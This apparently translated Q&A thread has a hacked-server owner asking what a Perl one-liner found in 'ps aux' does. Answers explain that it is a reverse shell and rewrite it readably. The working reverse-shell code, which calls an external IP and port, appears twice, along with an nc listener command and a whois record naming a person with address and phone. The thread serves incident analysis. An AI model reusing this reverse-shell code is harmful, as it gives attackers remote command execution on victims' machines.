我的服务器被黑了,ps aux
显示它现在正在运行此程序:
perl -MIO -e $p=fork;exit,if($p);$c=new IO::Socket::INET (PeerAddr,"169.50.9.58:1212");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;
我不知道Perl ......这个程序在做什么?
答案 0 :(得分:10)
它打开一个到该IP的套接字。然后设置STDIN
从中读取,STDOUT
设置为它。因此,它在流程和IP之间建立了直接的沟通渠道。
然后它进入while
循环,通过system
运行STDIN
。
它是在一个分叉的过程中完成此操作,即“即发即忘”(独立)样式,父项会立即退出。因此,这将执行并退出,并且另一个进程与该IP通信并运行命令。
答案 1 :(得分:2)
简短回答:
system$_ while<>;
基本上意味着&#34;只要有输入,就执行你得到的命令。&#34;
如果我在我的计算机上运行nc -l -p 1212
,然后在您的计算机上运行此脚本,那么您打开一个连接到我,我可以发出您的计算机将运行的命令。
答案 2 :(得分:2)
Perl代码等同于此
你已经被告知它的作用;它显然是恶意的
use IO;
$p = fork;
exit, if ( $p );
$c = IO::Socket::INET->new( PeerAddr => "169.50.9.58:1212" );
STDIN->fdopen( $c, 'r' );
$~->fdopen( $c, 'w' );
system $_ while <>;
这是查询whois.com该IP地址的结果。您可能想要发送电子邮件至&#34;滥用&#34;地址
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '169.50.9.32 - 169.50.9.63'
% Abuse contact for '169.50.9.32 - 169.50.9.63' is 'email@softlayer.com'
inetnum: 169.50.9.32 - 169.50.9.63
netname: NETBLK-SOFTLAYER-RIPE-CUST-JS17702-RIPE
descr: VidScale, Inc
country: US
admin-c: JS17702-RIPE
tech-c: JS17702-RIPE
status: LEGACY
mnt-by: MAINT-SOFTLAYER-RIPE
created: 2016-01-09T01:24:25Z
last-modified: 2016-01-09T01:24:25Z
source: RIPE
person: John Scharber
address: 4406 Whistling Wind Way
address: Placerville, CA 95667 US
phone: +1.866.398.7638
nic-hdl: JS17702-RIPE
abuse-mailbox: email@vidscale.com
mnt-by: MAINT-SOFTLAYER-RIPE
created: 2016-01-09T01:24:23Z
last-modified: 2016-01-09T01:24:23Z
source: RIPE
% This query was served by the RIPE Database Query Service version 1.88.1 (BLAARKOP)
答案 3 :(得分:0)
其他答案已经充分回答了后门的工作原理。概括地说,它允许未经特权的用户访问系统而无需进行身份验证。您只需知道要连接到哪个端口号即可在计算机上运行任意程序。
这是“恶意”的原因是它绕过了身份验证。如果要求您使用有效的用户名和密码登录,则与基本的telnet
服务器没有太大区别。 (当然,它们也很糟糕;在当今世界,您绝对需要加密身份验证的访问权限,即ssh
或类似的访问权限。)
已经具有对您系统的合法登录访问权限的用户无需运行这样的程序。他们已经具有ssh
访问权限或类似权限。
入侵者安装此类程序的原因通常是,它使它们可以摆脱一个简单的漏洞(例如简单的“ Bobby Tables” SQL注入)的困扰,该漏洞仅允许它们运行单个命令。现在,他们具有交互式访问权限,可以方便地运行许多命令,而无需再次使用(并可能暴露)原始漏洞利用程序;从这里开始,他们可能会想出一种方法来进一步转到特权帐户(即root
),或启动向您周边其他系统的横向移动。